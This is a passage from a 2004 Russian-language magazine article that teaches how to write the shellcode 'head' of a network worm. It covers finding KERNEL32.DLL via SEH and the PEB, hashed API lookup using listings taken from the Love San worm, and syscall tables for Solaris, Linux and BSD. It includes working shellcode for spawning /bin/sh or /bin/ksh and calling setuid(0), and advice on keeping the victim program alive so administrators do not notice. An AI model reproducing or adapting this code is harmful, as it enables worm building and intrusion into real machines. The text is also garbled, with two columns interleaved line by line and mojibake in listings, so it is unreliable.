как минимум 4 байта доступной памяти!
В порядке дальнейшего развития этой идеи отметим,
что не стоит, право же, игнорировать значения регистров,
доставшихся shell-коду в момент начала его выполнения.
Многие из них указывают на полезные структуры данных
и выделенные регионы памяти, которые мы гарантирован-
но можем использовать, не рискуя нарваться на исключе-
ние и прочие неожиданные неприятности. Некоторые ре-
гистровые переменные чувствительны к версии уязвимо-
го приложения, некоторые – к версии компилятора и клю-
чам компиляции, так что «гарантированность» эта очень и
очень относительна, впрочем, как и все сущее на земле.
Техника вызова системных функций
Возможность вызова системных функций, строго говоря,
не является обязательным условием успешности атаки,
поскольку все необходимое для атаки жертва (уязвимая
программа) уже содержит внутри себя, в том числе и вы-
зовы системных функций вместе с высокоуровневой обер-
ткой прикладных библиотек вокруг них. Дизассемблиро-
вав исследуемое приложение и определив целевые адре-
са интересующих нас функций, мы можем сделать CALL
целевой адрес или PUSH адрес возврата/JMP относитель-
ный целевой адрес или MOV регистр, абсолютный целе-
вой адрес/PUSH адрес возврата/JMP регистр.
Замечательно, если уязвимая программа импортиру-
ет пару функций LoadLibrary/GetProcAddress, – тогда shell-
код сможет загрузить любую динамическую библиотеку и
обратиться к любой из ее функций. А если функции
GetProcAddress в таблице импорта нет? Тогда атакующий
будет вынужден самостоятельно определять адреса ин-
тересующих его функций, отталкиваясь от базового ад-
реса загрузки, возращенным LoadLibrary и действуя либо
путем «ручного» разбора PE-файла, либо отождествляя
функции по их сигнатурам. Первое сложно, второе – не-
надежно. Закладываться на фиксированные адреса сис-
темных функций категорически недопустимо, поскольку
они варьируются от одной версии операционной системы
к другой.
Хорошо, а как быть, когда функция LoadLibrary в табли-
це импорта конкретно отсутствует и одной или нескольких
системных функций, жизненно необходимых shell-коду для
 безопасность
распространения, там тоже нет? В UNIX-системах можно ка на лету. Вызывать исключение и трассировать код (как
(и нужно!) использовать прямой вызов функций ядра, реа- это приходилось делать во времена старушки MS-DOS)
лизуемый либо посредством прерывания по вектору 80h теперь совершенно необязательно. Лучше обратиться к
(LINUX, Free BSD, параметры передаются через регистры), цепочке структурных обработчиков, упакованных в струк-
либо через дальний CALL по адресу 0007h:00000000h туру EXCEPTION_REGISTRATION, первое двойное слово
(System V, параметры передаются через стек), при этом которых содержит указатель на следующий обработчик
номера системных вызовов содержатся в файле /usr/include/ (или FFFFFFFFh, если никаких обработчиков больше нет),
sys/syscall.h, также смотри врезку. Еще можно вспомнить а второе – адрес данного обработчика
машинные команды syscall/sysenter, которые, как и следует
из их названия, осуществляют прямые системные вызовы Ëèñòèíã 9. Ñòðóêòóðà EXCEPTION REGISTRATION
вместе с передачей параметров. В Windows NT и производ- _EXCEPTION_REGISTRATION struc
ных от нее системах дела обстоят намного сложнее. Взаи- prev dd ?
handler dd ?
модействие с ядром реализуется посредством прерывания _EXCEPTION_REGISTRATION ends
INT 2Eh, неофициально называемого native API interface
(«родной» API-интерфейс). Кое-какая информация на этот Первый элемент цепочки обработчиков хранится по
счет содержится в легендарном Interrupt List Ральфа Брауна адресу FS:[00000000h], а все последующие – непосред-
и «Недокументированных возможностях Windows NT» Ко- ственно в адресном пространстве подопытного процесса.
берниченко, но мало, очень мало. Это чрезвычайно скудно Перемещаясь от элемента к элементу, мы будем двигать-
документированный интерфейс, и единственным источни- ся до тех пор, пока в поле prev не встретим FFFFFFFFFh,
ком данных остаются дизассемблерные листинги тогда поле handler предыдущего элемента будет содер-
KERNEL32.DLL и NTDLL.DLL. Работа c native API требует жать адрес системного обработчика. Неофициально этот
высокого профессионализма и глубокого знания архитек- механизм называется «раскруткой стека структурных ис-
туры операционной системы, да и как-то громоздко все ключений» и подробнее о нем можно прочитать в статье
получается, – ядро NT оперирует с небольшим числом до- Мэтта Питрека «A Crash Course on the Depths of Win32
вольно примитивных (или, если угодно, – низкоуровневых) Structured Exception Handling», входящий в состав MSDN.
функций. К непосредственному употреблению они непри- В качестве наглядной иллюстрации ниже приведен код,
годны и, как и всякий полуфабрикат, должны быть соот- возвращающий в регистре EAX адрес системного обра-
ветствующим образом приготовлены. Например, функция ботчика.
LoadLibrary «распадается» по меньшей мере на два сис-
темных вызова – NtCreateFile (EAX == 17h) открывает файл, Ëèñòèíã 10. Êîä, îïðåäåëÿþùèé áàçîâûé àäðåñ çàãðóçêè
KERNEL32.DLL ïî SEH
NtCreateSection (EAX == 2Bh) проецирует файл в память
(т.е. работает как CreateFileMapping), после чего NtClose .data:00501007 xor eax, eax ; EAX := 0
.data:00501009 xor ebx, ebx ; EBX := 0
(EAX == 0Fh) со спокойной совестью закрывает дескрип- ; àäðåñ îáðàáîò÷èêà
тор. Что же касается функции GetProcAddress, то она цели- .data:0050100B mov ecx, fs:[eax+4]
; óêàçàòåëü íà ñëåäóþùèé îáðàáîò÷èê
ком реализована в NTDLL.DLL и в ядре даже не ночевала .data:0050100F mov eax, fs:[eax]
(впрочем, при наличии спецификации PE-формата – она ; íà ïðîâåðêó óñëîâèÿ öèêëà
.data:00501012 jmp short loc_501019
входит в Platform SDK и MSDN – таблицу экспорта можно ; --------------------------------------------------------
проанализировать и «вручную»). .data:00501014
.data:00501014 loc_501014:
С другой стороны, обращаться к ядру для выбора ; àäðåñ îáðàáîò÷èêà
«эмулятора» LoadLibrary совершенно необязательно, по- .data:00501014 mov ebx, [eax+4]
; óêàçàòåëü íà ñëåä. îáðàáîò÷èê
скольку библиотеки NTDLL.DLL и KERNEL32.DLL всегда .data:00501017 mov eax, [eax]
присутствуют в адресном пространстве любого процесса, .data:00501019
.data:00501019 loc_501019:
и если мы сможем определить адрес их загрузки, мы со- ; ýòî ïîñëåäíèé îáðàáîò÷èê?
рвем банк. Автору известны два способа решения этой за- .data:00501019 cmp eax, 0FFFFFFFFh
; ìîòàåì öèêë, ïîêà íå êîíåö
дачи – через системный обработчик структурных исключе- .data:0050101C jnz short loc_501014
ний и через PEB. Первый – самоочевиден, но громоздок и
неэлегантен, а второй элегантен, но ненадежен. «PEB толь- Коль скоро по крайней мере один адрес, принадлежа-
ко на моей памяти менялась три раза» (с) Юрий Харон. щий библиотеке KERNEL32.DLL, нам известен, опреде-
Однако последнее обстоятельство ничуть не помешало лить базовый адрес ее загрузки уже не составит никако-
червю Love San разбросать себя по миллионам машин. го труда (он кратен 1000h и содержит в своем начале
Если во время выполнения приложения возникает ис- NewExe заголовок, элементарно опознаваемый по сигна-
ключительная ситуация (деление на ноль или обращение турам «MZ» и «PE»). Следующий код принимает и ожида-
к несуществующей странице памяти, например), и само ет в регистре EBP адрес системного загрузчика и в нем
приложение никак ее не обрабатывает, то управление же возвращает базовый адрес загрузки KERNEL32.DLL.
получает системный обработчик, реализованный внутри
KERNEL32.DLL и в W2K SP3, расположенный по адресу Ëèñòèíã 11. Ôóíêöèÿ, îïðåäåëÿþùàÿ áàçîâûé àäðåñ çàãðóçêè
KERNEL32.DLL ïóòåì ïîèñêà ñèãíàòóð «MZ» è «PE» â îïåðàòèâíîé
77EA1856h. В других операционных системах этот адрес ïàìÿòè
будет иным, поэтому грамотно спроектированный shell-
; ýòî «MZ»?
код должен автоматически определять адрес обработчи- 001B:0044676C CMP WORD PTR [EBP+00],5A4D

№4(17), апрель 2004 39

 безопасность
; -- íåò, íå MZ --> сих пор терроризирующего Интернет. Данный фрагмент
001B:00446772 JNZ 00446781 не имеет никакого отношения к автору вируса и был им
; íà «PE» çàãîëîâîê
001B:00446774 MOV EAX,[EBP+3C] «позаимствован» из сторонних источников. Об этом го-
; ýòî «PE»? ворят «лишние» ассемблерные команды, предназначен-
001B:00446777 CMP DWORD PTR [EAX+EBP+0],4550
; -- äà, ýòî PE --> ные для совместимости с Windows 9x (в ней все не так,
001B:0044677F JZ 00446789 как в NT), но ведь ареал обитания Love San ограничен
; ñëåä. 1 Êá áëîê
001B:00446781 SUB EBP,00010000 исключительно NT-подобными системами, и он в принци-
; ìîòàåì öèêë пе не способен поражать Windows 9x!
001B:00446787 LOOP 0044676C
001B:00446789 …
Ëèñòèíã 14. Ôðàãìåíò ÷åðâÿ Love San, îòâåòñòâåííûé çà îïðå-
äåëåíèå áàçîâîãî àäðåñà çàãðóçêè KERNEL32.DLL è îáåñïå÷èâà-
Существует и более элегантный способ определения þùèé ÷åðâþ çàâèäíóþ íåçàâèñèìîñòü îò âåðñèè àòàêóåìîé îïå-
базового адреса загрузки KERNEL32.DLL, основанный на ðàöèîííîé ñèñòåìû
PEB (Process Environment Block – блок окружения процес- ; PEB base
са), указатель на который содержится в двойном слове data:004046FE 64 A1 30 00 00 mov eax, large fs:30h
data:00404704 85 C0 test eax, eax ;
по адресу FS:[00000030h], а сам PEB разлагается следу- ; -- ìû íà w9x -->
ющим образом: data:00404706 78 0C js short loc_404714
; PEB_LDR_DATA
data:00404708 8B 40 0C mov eax, [eax+0Ch]
Ëèñòèíã 12. Ðåàëèçàöèÿ ñòðóêòóðû PEB â W2K/XP ; 1 ýëåìåíò InInitOrderModuleList
data:0040470B 8B 70 1C mov esi, [eax+1Ch]
PEB STRUC ; ñëåäóþùèé ýëåìåíò
PEB_InheritedAddressSpace DB ? data:0040470E AD lodsd
PEB_ReadImageFileExecOptions DB ? ; áàçîâûé àäðåñ KERNEL32.DLL
PEB_BeingDebugged DB ? data:0040470F 8B 68 08 mov ebp, [eax+8]
PEB_SpareBool DB ? data:00404712 EB 09 jmp short loc_40471D
PEB_Mutant DD ? data:00404714; -------------------------------------------
PEB_ImageBaseAddress DD ? ; CODE XREF: kk_get_kernel32+A↑j
; +0Ch data:00404714 loc_404714:
PEB_PebLdrData DD PEB_LDR_DATA PTR ? data:00404714 8B 40 34 mov eax, [eax+34h]
… data:00404717 8B A8 B8 00 00+ mov ebp, [eax+0B8h]
PEB_SessionId DD ? data:00404717
PEB ; CODE XREF: kk_get_kernel32+16↑j
data:0040471D loc_40471D:
По смещению 0Ch в нем содержится указатель на
PEN_LDR_DATA, представляющий собой список загружен- Ручной разбор PE-формата несмотря на свое устрашаю-
ных динамических библиотек, перечисленный в порядке щее название реализуется элементарно. Двойное слово,
их инициализации (NTDLL.DLL инициализируется первой, лежащее по смещению 3Ch от начала базового адреса заг-
следом за ней идет KERNEL32.DLL): рузки, содержит смещение (не указатель!) PE-заголовка
файла, который в свою очередь в 78h своем двойном слове
Ëèñòèíã 13. Ðåàëèçàöèÿ ñòðóêòóðû PEB_LDR_DATA â W2K/XP содержит смещение таблицы экспорта, 18h – 1Bh и 20h – 23h
PEB_LDR_DATA STRUC DD ? ; +00 байты которой хранят количество экспортируемых функций
PEB_LDR_Flags DD ? ; +04 и смещение таблицы экспортируемых имен соответственно
PEB_LDR_Unknown8 DD ? ; +08
; +0Ch (хотя функции экспортируются также и по ординалам, сме-
PEB_LDR_InLoadOrderModuleList LIST_ENTRY ? щение таблицы экспорта которых находится в 24h –27h бай-
; +14h
PEB_LDR_InMemoryOrderModuleList LIST_ENTRY ? тах). Запомните эти значения – 3Ch, 78h, 20h/24h – они бу-
; +1Ch дут вам часто встречаться в коде червей и эксплоитов, зна-
PEB_LDR_InInitOrderModuleList LIST_ENTRY ?
PEB_LDR_DATA ENDS чительно облегчая идентификацию алгоритма последних.
LIST_ENTRY STRUC
LE_FORWARD dd *forward_in_the_list ; + 00h Ëèñòèíã 15. Ôðàãìåíò ÷åðâÿ Love San, îòâåòñòâåííûé çà îïðå-
LE_BACKWARD dd *backward_in_the_list ; + 04h äåëåíèå àäðåñà òàáëèöû ýêñïîðòèðóåìûõ èìåí
LE_IMAGE_BASE dd imagebase_of_ntdll.dll ; + 08h
… ; áàçîâûé àäðåñ çàãðóçêè KERNEL32
LE_IMAGE_TIME dd imagetimestamp ; + 44h .data:00404728 mov ebp, [esp+arg_4]
LIST_ENTRY ; íà PE-çàãîëîâîê
.data:0040472C mov eax, [ebp+3Ch]
; íà òàáëèöó ýêñïîðòà
Собственно, вся идея заключается в том, чтобы, прочи- .data:0040472F mov edx, [ebp+eax+78h]
тав двойное слово по адресу FS:[00000030h], преобразо- .data:00404733 add edx, ebp
; êîë-âî ýêñïîðòèðóåìûõ ôóíêöèé
вать его в указатель на PEB и перейти по адресу, на кото- .data:00404735 mov ecx, [edx+18h]
рый ссылается указатель, лежащий по смещению 0Ch от ; íà òàáëèöó ýêñïîðòèðóåìûõ èìåí
.data:00404738 mov ebx, [edx+20h]
его начала – InInitOrderModuleList. Отбросив первый элемент, ; àäðåñ òàáëèöû ýêñïîðòèðóåìûõ èìåí
принадлежащий NTDLL.DLL, мы получим указатель на .data:0040473B add ebx, ebp
LIST_ENTRY, содержащей характеристики KERNEL32.DLL
(в частности, базовый адрес загрузки хранится в третьем Теперь, отталкиваясь от адреса таблицы экспортируе-
двойном слове). Впрочем, это легче программировать, чем мых имен (в грубом приближении представляющую со-
говорить, и все вышесказанное с легкостью умещается в бой массив текстовых ASCIIZ-строк, каждая из которых
пяти ассемблерных командах. соответствует «своей» API-функции), мы сможем найти
Ниже приведен код, выдранный из червя Love San, до все необходимое. Однако от посимвольного сравнения

40
 безопасность
лучше сразу отказаться и вот почему: во-первых, имена полнив свою миссию, червь не должен возвращать управ-
большинства API-функций чрезвычайно тяжеловесны, а ление программе-носителю, поскольку с вероятностью,
размер shell-кода жестко ограничен, во-вторых, явная заг- близкой к единице, она немедленно рухнет, что вызовет
рузка API-функций чрезвычайно упрощает анализ алго- серьезные подозрения у администратора.
ритма shell-кода, что не есть хорошо. Всех этих недостат- Если каждое новое TCP/IP-подключение обрабатывает-
ков лишен алгоритм хеш-сравнения, в общем случае сво- ся уязвимой программой в отдельном потоке, то вирусу бу-
дящийся к «свертке» сравниваемых строк по некоторой дет достаточно просто «прибить» свой поток, вызвав API
функции f. Подробнее об этом можно прочитать в соот- функцию TerminateThread, или войти в бесконечный цикл
ветствующей литературе (например, «Искусство програм- (правда, при этом на однопроцессорных машинах загрузка
мирования» Кнута), здесь же мы просто приведем про- ЦП может возрасти до 100%, что тоже очень нехорошо).
граммный код, снабженный подробными комментариями. С однопоточными приложениями все намного сложнее,
и червю приходится «вручную» приводить искаженные
Ëèñòèíã 16. Ôðàãìåíò ÷åðâÿ Love San, îòâåòñòâåííûé çà îïðå- данные в минимально работоспособный вид, либо раскру-
äåëåíèÿ èíäåêñà ôóíêöèè â òàáëèöå
чивать стек, «выныривая» в материнской функции, еще
; CODE XREF: kk_get_proc_adr+36↓j не затронутой искажениями, либо же передавать управ-
.data:0040473D loc_40473D:
; --> îøèáêà ление на какую-нибудь диспетчерскую функцию, занима-
.data:0040473D jecxz short loc_404771 ющуюся рассылкой сообщений.
; â ecx êîëè÷åñòâî ýêñïîðòèðóåìûõ ôóíêöèé
.data:0040473F dec ecx Более универсальных способов до сих пор не приду-
; ñìåùåíèå êîíöà ìàññèâà ýêñïîðòèðóåìûõ ôóíêöèé мано, несмотря на то, что несколько последних лет эта
.data:00404740 mov esi, [ebx+ecx*4]
; àäðåñ êîíöà ìàññèâà ýêñïîðòèðóåìûõ ôóíêöèé тема находится в интенсивной разработке.
.data:00404743 add esi, ebp
.data:00404745 xor edi, edi ; EDI := 0
; ñáðàñûâàåì ôëàã íàïðàâëåíèÿ
.data:00404747
.data:00404748
cld Компиляция червя
; CODE XREF: kk_get_proc_adr+30↓j Согласно правилам этикета компьютерного андеграунда,
.data:00404748 loc_404748: разработка вирусов должна происходить на языке ассемб-
.data:00404748 xor eax, eax ; EAX := 0
; ÷èòàåì î÷åðåäíîé ñèìâîë èìåíè ôóíêöèè лера и/или машинного кода. Если вы попытаетесь исполь-
.data:0040474A lodsb зовать Си или – страшно сказать DELPHI – вас попросту
; ýòî êîíåö ñòðîêè?
.data:0040474B cmp al, ah не будут уважать. Лучше вообще не писать вирусов, а если
; åñëè êîíåö, òî ïðûãàåì íà êîíåö и писать, то по крайней мере делать это профессионально.
.data:0040474D jz short loc_404756
; õåøèðóåì èìÿ ôóíêöèè íàëåòó.. Тем не менее, эффективность современных компиля-
.data:0040474F ror edi, 0Dh торов такова, что по качеству своей кодогенерации они
; …íàêàïëèâàÿ õåø-ñóììó â ðåãèñòðå EDI
.data:00404752 add edi, eax вплотную приближаются к ассемблеру, и если убить start-
.data:00404754 jmp short loc_404748 ; up, то мы получим компактный, эффективный, наглядный
; CODE XREF: kk_get_proc_adr+29↑j
.data:00404756 loc_404756: и легко отлаживаемый код. Прогрессивно настроенные
; ýòî õåø «íàøåé» ôóíêöèè? хакеры стремятся использовать языки высокого уровня
.data:00404756 cmp edi, [esp+arg_0]
; åñëè íåò, ïðîäîëæèòü ïåðåáîð везде, где только это возможно, а к ассемблеру обраща-
.data:0040475A jnz short loc_40473D ются только по необходимости.
Из всех компонентов червя только голова требует не-
Зная индекс целевой функции в таблице экспорта, лег- посредственного ассемблерного вмешательства, а тело
ко определить ее адрес. Это можно сделать, например, и начинка червя замечательно реализуются и на старом –
таким образом: добром Си. Да, такой подход нарушает полувековые тра-
диции вирусописательства, но давайте не будем цеплять-
Ëèñòèíã 17. Ôðàãìåíò ÷åðâÿ Love San, îñóùåñòâëÿþùèé îêîí- ся за традиции! Мир непрерывно меняется, и мы меняем-
÷àòåëüíîå îïðåäåëåíèå àäðåñà API-ôóíêöèè â ïàìÿòè
ся вместе с ним. Когда-то ассемблер (а еще раньше – ма-
; ñìåùåíèå òàáëèöû ýêñïîðòà îðäèíàëîâ шинные коды) были неизбежной необходимостью, сейчас
.data:0040475C mov ebx, [edx+24h]
; àäðåñ òàáëèöû îðäèíàëîâ же они становятся своеобразным магическим ритуалом,
.data:0040475F add ebx, ebp отсекающим от создания «правильных» вирусов всех не-
; ïîëó÷àåì èíäåêñ â òàáëèöå àäðåñîâ
.data:00404761 mov cx, [ebx+ecx*2] посвященных.
; ñìåùåíèå ýêñïîðòíîé òàáëèöû àäðåñîâ Кстати говоря, обычные трансляторы ассемблера (та-
.data:00404765 mov ebx, [edx+1Ch]
; àäðåñ ýêñïîðòíîé òàáëèöû àäðåñîâ кие, например, как TASM или MASM) для компиляции го-
.data:00404768 add ebx, ebp ловы червя не пригодны. Они намного ближе стоят к язы-
; ïîëó÷àåì ñìåùåíèå ôóíêöèè ïî èíäåêñó
.data:0040476A mov eax, [ebx+ecx*4] кам высокого уровня, чем, собственно, к самому ассем-
; ïîëó÷àåì àäðåñ ôóíêöèè блеру. Излишняя самодеятельность и интеллектуаль-
.data:0040476D add eax, ebp
ность транслятора при разработке shell-кода только вре-
дит. Во-первых, мы не видим, во что транслируется та
Упасть, чтобы отжаться или иная ассемблерная мнемоника, и чтобы узнать, при-
Восстановление работоспособности уязвимой программы сутствуют ли в ней нули, приходится обращаться к спра-
после переполнения – это не только залог скрытности про- вочнику по командам от Intel/AMD или каждый раз вы-
никновения, но и определенный культурный элемент. Вы- полнять полный цикл трансляции. Во-вторых, легальными

№4(17), апрель 2004 41

 безопасность
Реализация системных вызовов в различных ОС
Механизм системных вызовов – это задний двор операционной системы или, если угодно, – ее внутренняя и не всегда
хорошо документированная кухня. Внутри червя плавают какие-то константы, команды, сложным образом манипули-
рующие с регистрами, но физический смысл происходящего в целом остается неясным.
Ниже приводится краткая справочная информация о способах реализации системных вызовов в различных ОС с
указанием наиболее популярных функций, в полной мере обеспечивающих жизнедеятельность червя (материал поза-
имствован из статьи «UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes» от LSD Research Group,
которую я всячески рекомендую всем кодокопателям и исследователям компьютерных вирусов и червей в частности).

Solaris/SPARC
Системный вызов осуществляется через ловушку (trap), возбуждаемую специальной машинной командой ta 8. Номер
системного вызова передается через регистр g1, а аргументы – через регистры o0, o1, o2, o3 и o4. Перечень номеров
наиболее употребляемых системных функций приведен ниже.

Ëèñòèíã 18. Íîìåðà ñèñòåìíûõ âûçîâîâ â Solaris/SPARC

syscall %g1 %o0, %o1, %o2, %o3, %o4

exec 00Bh --> path = "/bin/ksh", --> [-->a0 = path,0]
exec 00Bh --> path = "/bin/ksh", --> [-->a0 = path, -->a1= "-c" -->a2 = cmd, 0]
setuid 017h uid = 0
mkdir 050h --> path = "b..", mode = (each value is valid)
chroot 03Dh --> path = "b..", "."
chdir 00Ch --> path = ".."
ioctl 036h sfd, TI_GETPEERNAME = 5491h, --> [mlen = 54h, len = 54h, -->sadr = []]
so_socket 0E6h AF_INET=2, SOCK_STREAM=2, prot=0, devpath=0, SOV_DEFAULT=1
bind 0E8h sfd, --> sadr = [33h, 2, hi, lo, 0, 0, 0, 0], len=10h, SOV_SOCKSTREAM = 2
listen 0E9h sfd, backlog = 5, vers = (not required in this syscall)
accept 0EAh sfd, 0, 0, vers = (not required in this syscall)
fcntl 03Eh sfd, F_DUP2FD = 09h, fd = 0, 1, 2
Ëèñòèíã 19. Äåìîíñòðàöèîííûé ïðèìåð shell-êîäà ïîä Solaris/SPARC
char shellcode[]= /* 10*4+8 bytes */
"\x20\xbf\xff\xff" /* bn,a <shellcode-4> ; \ */
"\x20\xbf\xff\xff" /* bn,a <shellcode> ; +- òåêóùèé óêàçàòåëü êîìàíä â %o7 */
"\x7f\xff\xff\xff" /* call <shellcode+4> ; / */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 ; â %o0 óêàçàòåëü íà /bin/ksh */
"\x92\x02\x20\x10" /* add %o0,16,%o1 ; â %o1 óêàçàòåëü íà ñâîáîäíóþ ïàìÿòü */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] ; ñòàâèì çàâåðøàþùèé íîëü â /bin/ksh */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] ; çàíóëÿåì ïàìÿòü ïî óêàçàòåëþ %o1 */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] ; the same */
"\x82\x10\x20\x0b" /* mov 0x0b,%g1 ; íîìåð ñèñòåìíîé ôóíêöèè exec */
"\x91\xd0\x20\x08" /* ta 8 ; âûçûâàåì ôóíêöèþ exec */
"/bin/ksh";

Solaris/x86
Системный вызов осуществляется через шлюз дальнего вызова по адресу 007:00000000 (селектор семь, смещение
ноль). Номер системного вызова передается через регистр eax, а аргументы – через стек, причем самый левый аргу-
мент заталкивается в стек последним. Стек очищает сама вызываемая функция.

Ëèñòèíã 20. Íîìåðà ñèñòåìíûõ âûçîâîâ â Solaris/x86

syscall %eax stack

exec 0Bh ret, --> path = "/bin/ksh", --> [--> a0 = path, 0]
exec 0Bh ret, --> path = "/bin/ksh", --> [--> a0 = path, --> a1 = "-c", --> a2 = cmd, 0]
setuid 17h ret, uid = 0
mkdir 50h ret, --> path = "b..", mode = (each value is valid)
chroot 3Dh ret, --> path = "b..","."
chdir 0Ch ret, --> path = ".."
ioctl 36h ret, sfd, TI_GETPEERNAME = 5491h, --> [mlen = 91h, len=91h, --> adr=[]]
so socket E6h ret, AF_INET=2,SOCK STREAM=2,prot=0,devpath=0,SOV DEFAULT=1
bind E8h ret, sfd, --> sadr = [FFh, 2, hi, lo, 0,0,0,0],len=10h,SOV_SOCKSTREAM=2
listen E9h ret, sfd, backlog = 5, vers = (not required in this syscall)
accept Eah ret, sfd, 0, 0, vers = (not required in this syscall)
fcntl 3Eh ret, sfd, F_DUP2FD = 09h, fd = 0, 1, 2
Ëèñòèíã 21. Äåìîíñòðàöèîííûé ïðèìåð shell-êîäà ïîä Solaris/x86
char setuidcode[]= /* 7 bytes */
"\x33\xc0" /* xorl %eax,%eax ; EAX := 0 */
"\x50" /* pushl %eax ; çàòàëêèâàåì â ñòåê íóëü */
"\xb0\x17" /* movb $0x17,%al ; íîìåð ñèñòåìíîé ôóíêöèè setuid */
"\xff\xd6" /* call *%esi ; setuid(0) */

Linux/x86
Системный вызов осуществляется через программное прерывание по вектору 80h, возбуждаемое машинной инструк-
цией INT 80h. Номер системного вызова передается через регистр eax, а аргументы – через регистры ebx, ecx и edx.

42
 безопасность
Ëèñòèíã 22. Íîìåðà ñèñòåìíûõ âûçîâîâ â Linux/x86
syscall %eax %ebx, %ecx, %edx
exec 0Bh --> path = "/bin//sh", --> [--> a0 = path, 0]
exec 0Bh --> path = "/bin//sh", --> [--> a0 = path, --> a1 = "-c", --> a2 = cmd, 0]
setuid 17h uid = 0
mkdir 27h --> path = "b..", mode = 0 (each value is valid)
chroot 3Dh --> path = "b..", "."
chdir 0Ch --> path = ".."
socketcall 66h getpeername = 7, --> [sfd, --> sadr = [],--> [len=10h]]
socketcall 66h socket = 1, --> [AF_INET = 2, SOCK STREAM = 2,prot = 0]
socketcall 66h bind = 2, --> [sfd, --> sadr = [FFh, 2, hi, lo, 0, 0, 0, 0], len =10h]
socketcall 66h listen = 4, --> [sfd, backlog = 102]
socketcall 66h accept = 5, --> [sfd, 0, 0]
dup2 3Fh sfd, fd = 2, 1, 0
Ëèñòèíã 23. Äåìîíñòðàöèîííûé ïðèìåð shell-êîäà ïîä Linux/x86

char setuidcode[]= /* 8 bytes */

"\x33\xc0" /* xorl %eax,%eax ; EAX := 0 */
"\x31\xdb" /* xorl %ebx,%ebx ; EBX := 0 */
"\xb0\x17" /* movb $0x17,%al ; íîìåð ñèñòåìíîé ôóíêöèè stuid */
"\xcd\x80" /* int $0x80 ; setuid(0) */

Free,Net,OpenBSD/x86
Операционные системы семейства BSD реализуют гибридный механизм вызова системных функций: поддерживая
как far call на адрес 0007:00000000 (только номера системных функций другие), так и прерывание по вектору 80h.
Аргументы в обоих случаях передаются через стек.

Ëèñòèíã 24. Íîìåðà ñèñòåìíûõ âûçîâîâ â BSD/x86

syscall %eax stack
execve 3Bh ret, --> path = "//bin//sh", --> [--> a0 = 0], 0
execve 3Bh ret, --> path = "//bin//sh", --> [--> a0 = path, --> a1 = "-c", --> a2 = cmd, 0], 0
setuid 17h ret, uid = 0
mkdir 88h ret, --> path = "b..", mode = (each value is valid)
chroot 3Dh ret, --> path = "b..", "."
chdir 0Ch ret, --> path=".."
getpeername 1Fh ret, sfd, --> sadr = [],--> [len = 10h]
socket 61h ret, AF_INET = 2, SOCK_STREAM = 1, prot = 0
bind 68h ret, sfd, --> sadr = [FFh, 2, hi, lo, 0, 0, 0, 0], --> [10h]
listen 6Ah ret, sfd, backlog = 5
accept 1Eh ret, sfd, 0, 0
dup2 5Ah ret, sfd, fd = 0, 1, 2

Ëèñòèíã 25. Äåìîíñòðàöèîííûé ïðèìåð shell-êîäà ïîä BSD/x86

char shellcode[]= /* 23 bytes */
"\x31\xc0" /* xorl %eax,%eax ; EAX := 0 */
"\x50" /* pushl %eax ; çàòàëêèâàåì çàâåðøàþùèé íîëü â ñòåê */
"\x68""//sh" /* pushl $0x68732f2f ; çàòàëêèâàåì õâîñò ñòðîêè â ñòåê */
"\x68""/bin" /* pushl $0x6e69622f ; çàòàëêèâàåì íà÷àëî ñòðîêè â ñòåê */
"\x89\xe3" /* movl %esp,%ebx ; óñòàíàâëèâàåì EBX íà âåðøèíó ñòåêà */
"\x50" /* pushl %eax ; çàòàëêèâàåì íîëü â ñòåê */
"\x54" /* pushl %esp ; ïåðåäàåì ôóíêöèè óêàçàòåëü íà íîëü */
"\x53" /* pushl %ebx ; ïåðåäàåì ôóíêöèè óêàçàòåëü íà /bin/sh */
"\x50" /* pushl %eax ; ïåðåäàåì ôóíêöèè íîëü */
"\xb0\x3b" /* movb $0x3b,%al ; íîìåð ñèñòåìíîé ôóíêöèè execve */
"\xcd\x80" /* int $0x80 ; execve("//bin//sh", "",0); */;

средствами ассемблера мы не сможем выполнить непос-
редственный FAR CALL и будем вынуждены задавать его
через директиву DB. В-третьих, управление дампом не
поддерживается в принципе и процедуру шифровки shell-
кода приходится выполнять сторонними утилитами. По-
этому очень часто для разработки головы червя исполь-
зуют HEX-редактор со встроенным ассемблером и крип-
том, например, HIEW или QVIEW. Машинный код каждой
введенной ассемблерной инструкции генерируется в этом
случае сразу, что называется, «на лету», и если резуль-
тат трансляции вас не устраивает, вы можете, не отходя
от кассы, испробовать несколько других вариантов. С дру-
гой стороны, такому способу разработки присущ целый
ряд серьезных недостатков.
Начнем с того, что набитый в HEX-редакторе машин-
ный код практически не поддается дальнейшему редакти-
рованию. Пропуск одной-единственной машинной коман-
ды может стоить вам ночи впустую потраченного труда, –
ведь для ее вставки в середину shell-кода все последую-
щие инструкции должны быть смещены вниз, а соответ-
ствующие им смещения заново пересчитаны. Правда, мож-
но поступить и так: на место отсутствующей команды вне-
дрить JMP на конец shell-кода, перенести туда затертое JMP
содержимое, добавить требуемое количество машинных
команд и еще одним JMP вернуть управление на прежнее
место. Однако такой подход чреват ошибками и к тому же
сфера его применения более чем ограничена (немногие
процессорные архитектуры поддерживают JMP вперед, не
содержащей в своем теле паразитных нулей).
Кроме того, HIEW, как и подавляющее большинство
других HEX-редакторов, не позволяет использовать ком-
ментарии, что затрудняет и замедляет процесс програм-

№4(17), апрель 2004 43

 безопасность
мирования. В отсутствие наглядных символических имен
вы будете долго вспоминать, что намедни положили в
ячейку [EBP-69] и не имелось ли в виду здесь [EBP-68]?
Достаточно одного неверного нажатия на клавишу, чтобы
на выяснение причин неработоспособности shell-кода
ушел весь день. (QVIEW – один из немногих HEX-редак-
торов, позволяющих помечать ассемблерные инструкции
комментариями, сохраняемыми в специальном файле).
Поэтому предпочтительнее всего поступать так: набивать
небольшие куски shell-кода в HIEW и тут же переносить их в
TASM/MASM, при необходимости прибегая к директиве DB,
а прибегать к ней придется достаточно часто, поскольку по-
давляющее большинство ассемблерных извращений толь-
ко через нее родимую и могут быть введены.
Типовой ассемблерный шаблон shell-кода приведен ниже:
Ëèñòèíã 26. Òèïîâîé àññåìáëåðíûé øàáëîí äëÿ ñîçäàíèÿ shell-
êîäà, êîìïèëÿöèÿ: ml.exe /c "file name.asm", ëèíêîâêà:
link.exe /VXD "file name.obj"
.386
.model flat
.code
start:
jmp short begin
get_eip:
pop esi
; ...
; shell-êîä
; ...
begin:
call get_eip
end start
Трансляция shell-кода осуществляется стандартно и
